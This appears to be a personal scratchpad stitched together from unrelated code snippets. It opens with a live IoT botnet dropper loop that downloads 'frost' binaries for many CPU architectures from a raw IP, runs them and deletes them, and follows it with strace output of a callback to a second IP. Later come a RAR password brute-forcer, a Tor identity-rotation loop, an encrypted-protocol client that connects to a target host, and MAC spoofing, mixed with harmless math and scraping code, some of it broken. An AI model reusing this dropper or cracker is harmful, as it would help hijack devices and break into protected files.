cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://87.121.84.101/frost.armv7; chmod 777 frost.armv7; ./frost.armv7 dvr.lilin; rm frost.armv7
wget http://87.121.84.101/frost.armv6; chmod 777 frost.armv6; ./frost.armv6 dvr.lilin; rm frost.armv6
wget http://87.121.84.101/frost.armv5; chmod 777 frost.armv5; ./frost.armv5 dvr.lilin; rm frost.armv5
wget http://87.121.84.101/frost.mips; chmod 777 frost.mips; ./frost.mips dvr.lilin; rm frost.mips
wget http://87.121.84.101/frost.mipsel; chmod 777 frost.mipsel; ./frost.mipsel dvr.lilin; rm frost.mipsel
wget http://87.121.84.101/frost.aarch64; chmod 777 frost.aarch64; ./frost.aarch64 dvr.lilin; rm frost.aarch64
wget http://87.121.84.101/frost.x86; chmod 777 frost.x86; ./frost.x86 dvr.lilin; rm frost.x86
wget http://87.121.84.101/frost.x86_64; chmod 777 frost.x86_64; ./frost.x86_64 dvr.lilin; rm frost.x86_64

write(1, "pwned :3", 8)
connect(4, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("144.172.103.124")}, 16) 
unlink("./frost.armv7") // the reason I stop

from sympy import mod_inverse
# 模逆运算很简单
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
x = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
y = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
U221E = (0,0) 其实U+221E是无穷原点的Unicode
def point_add(P1 , P2):
    if P1 == U221E:
        return P2
    if P2 == U221E:
        return P1
    x1 , y1 = P1
    x2 , y2 = P2
    if x1 != x2:
        m = (y2 - y1) * mod_inverse(x2 - x1,p) % p
        x3 = (m ** 2 - x1 - x2) % p
        y3 = (m * (x1 - x3) - y1) % p
        return (x3,y3)
    if x1 == x2 and y1 != y2:
        return U221E
# 这是点的加法
def point_double(P1, P2):
    x1 , y1 = P1
    x2 , y2 = P2
    if P1 == P2 and y1 != 0:
        m = (3 * x1 ** 2 + a) * mod_inverse(2 * y1,p) % p
        x3 = (m ** 2 - 2 * x1) % p
        y3 = (m * (x1 - x3) - y1) % p
        return (x3,y3)
    if P1 == P2 and y1 == 0:
        return U221E
# 略过了
def double_and_add(s,P):
    bits = format(s,'b')[::-1]
    res = U221E
    temp = P
    for bit in bits:       
        if bit == '1':
            res = point_add(res , temp)
        temp = point_double(temp , temp)
    return res

import os
import datetime
from unrar import rarfile
import sys
def crack(encryptfile):
    bFound=False
    fp=rarfile.RarFile(winfile)
    start=0
    stop=9999
    for i in range(start,stop):
        pwd=str(i).zfill(4)
        try:
            fp.extractall(path=".",pwd=pwd)
            print('\npassword'+pwd)
            bFound=True
            fp.close
        except Exception as e:
            print("\rcomplete","{:.0%}".format((i-start)/(stop-start)),end="")
        if bFound:
            break
if __name__=='__main__':
    starttime=datetime.datetime.now()
    crack(sys.argv[1])

import requests
from stem import Signal
from stem.control import Controller
url="https://check[.]torproject[.]org"
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup 
proxies = {'https':'socks5h://127.0.0.1:9150'}
while True:
        try:
            c=Controller.from_port()
            c.authenticate()
            c.signal(Signal.NEWNYM)
            r = requests.get(url=url, proxies=proxies,verify=False).text
               print(BeautifulSoup(r,'lxml').strong.string)
        except KeyboardInterrupt:
            print('Control-C')
            break

from Crypto.Cipher import DES
import struct
import zlib
import binascii
import socket
import sys
def reverse_bytes(b):
    assert type(b) == bytes
    ba = bytearray(b)
    for i in range(0, len(b)):
        ba[i] = int(format(b[i], '0>8b')[::-1], 2)
    return bytes(ba)
def get_new_key(key):
    ba = bytearray(8)
    for i, b in enumerate(key):
        ba[i % 8] ^= b
    return bytes(ba)
def padding(d):
    ba = bytearray(d)
    while len(ba) % 8 != 0:
        ba.append(0)
    return bytes(ba)
def append_len(d):
    assert type(d) == bytes
    length = struct.pack('<L', len(d))
    return bytes(length + d)
def remove_len(d):
    assert type(d) == bytes
    return d[4:]
def e_des_encrypt(plain, key):
    des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
    return des.encrypt(padding(append_len(plain)))
def e_des_decrypt(raw, key):
    des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
    t = des.decrypt(raw)
    return remove_len(t)
plain = "MicrosoftWebゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0".encode('gbk')
key = b"Microsoft"
ciph = e_des_encrypt(plain, key)
data = binascii.unhexlify('0d0f3e0308010000')+zlib.compress(ciph)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(data)
while True:
    recevied=s.recv(4096)
    zlib_start = recevied.find(b'\x78\x9c')
    if zlib_start!=-1:
        zlib_data = recevied[zlib_start:]
        decompressed = zlib.decompress(zlib_data)
        plaintext_bytes = e_des_decrypt(decompressed, b"Microsoft")
        plaintext = plaintext_bytes.decode('gbk')
        print(plaintext)
    else:
        print(recevied)

$a=(Get-NetAdapter -Physical | Where-Object { $_.Status -eq 'Up' })[0]
Set-NetAdapter $a -MacAddress "BC2411B9B662" -Confirm:$false

import sympy
import time
p=time.time()
print(-1+2)
a=24970000000
b=True
n=0
while b:
    a/=10
    n+=1    
    if a<10:
        b=False
        print('{}*10^{}'.format(a,n))
a=sympy.symbols('a')
b={'A':a**2+a**3==a**5,'B':a**2*a**3==a**6,'C':(3*a)**2==6*a**2,'D':a**5/a**3==a**2}
for k,v in b.items():
    if v:
        print(k)
from sympy import solve
x,k=sympy.symbols('x k')
r=solve(x**2-2*x+k-1,x,dict=True)
r=solve(r[0][x]-r[1][x],k,dict=True)
a=r[0][k]
print('k={}'.format(a))
print(60/(1+2))
from sympy import Symbol,ask,Q,Rational,factor,Abs
from sympy.assumptions import assuming
x1=Symbol('x1',negative=True)
d,x3=sympy.symbols('d x3',positive=True)
x2=x1+d
y=lambda x:-5/x
JJ=lambda t1,s1:not t1.__xor__(bool(s))
l=lambda k1,k2:sympy.together(y(k1)-y(k2)).as_numer_denom()
a=l(x1,x2)
s=a[0]>0
with assuming(Q.lt(d,-x1)):
    t=ask(Q.negative(a[1]))
if JJ(t,s):
    print('y2>y1')
b=l(x1,x3)
s=b[0]>0
t=b[0]>0
if JJ(t,s):
    print('y1>y3')
print('...')
import random
b=[]
c={(120,140):5,(140,160):10,(160,180):15,(180,220):10}
for k,v in c.items():
    for _ in range(v):
        b.append(random.randrange(k[0],k[1]))
n=len(b)
print(sum(b)/n)
from collections import Counter
print(Counter(b).most_common(1)[0][0])
h=int(n/2-1)
k=int(n/2)
print((b[h]+b[k])/2)
import numpy
print(numpy.var(b))
print(factor(x**2-3*x))
print(2/5)
print(1+1/2)
print((90-20)/2)
print((Abs(-2))-sympy.sqrt(16)+(1/3)**(-1))
y=sympy.symbols('y')
b=sympy.solve([3*x-2*y-9,x-y-4],[x,y])
print(f"x={b[x]},"+f"y={b[y]}")
print(6*sympy.tan(sympy.pi/6)+6*sympy.tan(sympy.pi/3))
print(time.time()-p)

while true; do printf "\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\300" | nc -uq1 8.8.8.8 53 | hd -s20; done

apt install -y libasound2-data libasound2t64 x11-utils libdbus-glib-1-2 file python3-socks python3-stem python3-bs4 python3-requests xz-utils #KALI LINUX
apt install -y libdbus-glib-1-2 libasound2-data libgtk-3-common #Ubuntu
chown root /mnt/wslg/runtime-dir
tar -xf tor-browser-linux-x86_64-13.5.6.tar.xz
./start-tor-browser.desktop --detach --verbose

@echo off
setlocal enabledelayedexpansion
for %%x in (jpg) do (
    set /a c=0
    for %%f in (*.%%x) do (
     set "d=!c!.%%x"
  if exist "!d!" (
     echo "!d!"
  ) else (
  ren "%%f" "!d!" 
  echo %c%
  )
  set /a c+=1
    )
 echo .
)
pause

headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',
'Referer':'https://www.3gbizhi.com/wallMV/index.html'
}

import requests
import parsel

url='http://www.3gbizhi.com/wallMV/index.html'
r=requests.get(url=url,headers=headers)

print(pasel.Selector(r.text).xpath('//main/div/ul/li/a/img/@lay-src').getall())

datalist=pasel.Selector(r.text).xpath('//main/div/ul/li/a/img/@lay-src').getall(
)
for data in datalist:
    print(data)

number=1
for data in datalist:
    with open (f'www3gbizhi/{number}.jpg','wb') as p:
        #wb模式针对二进制数据的写入 f表示格式化,不然要加双斜杠
        #www3gbizh是路径,as表示把它重命名为p
        p.write(requests.get(url=data,headers=headers).content)
        #.content表示二进制格式的数据write表示写入
    number+=1
    #让number从一开始,不断+1
    #前提,同目录下一定要有一个空文件夹www3gbizhi

import requests
import parsel
number=1
for page in range(2,35):
    print('=========={}=========='.format(page))
    #{}是一个占位符,范围从1到34
    base_url="https://www.3gbizhi.com/wallMV/index_{}.html".format(page)#同理
    headers={'User-agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebkit/537.1 (KHTML ,like Gecko) Safari/537.1'}
    response=requests.get(url=base_url) html_data=response.text
    parse=parsel.Selector(html_data)
    data_list=parse.xpath('/html/body/main/div/ul/li/a/img/@lay-src').getall()
    for data in data_list:
        imgdata=requests.get(url=data,headers=headers).content
        with open (f'www3g/{number}.jpg',mode='wb') as f:
            f.write(imgdata)
        number+=1